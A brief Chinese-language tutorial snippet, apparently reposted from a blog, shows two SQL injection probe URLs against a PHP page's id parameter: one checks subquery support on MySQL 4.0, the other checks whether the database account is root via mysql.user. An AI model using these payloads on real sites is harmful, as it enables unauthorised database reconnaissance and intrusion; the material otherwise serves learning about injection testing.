http://***/include/web_content.php?id=589+and+(select+1)=1
这条语句是当mysql版本为4.0的时候用来判断是否支持子查询的，页面返回正确，说明支持子查询，否则不支持。
提交：
http://***/include/web_content.php?id=589+and+(select+1+from+mysql.user+limit+0,1)=1
这条语句是用来判断mysql的当前登录账户是不是root的，如果页面返回正确，则为root，否则不是root。
原文：http://www.cnblogs.com/continueFe/p/6925107.html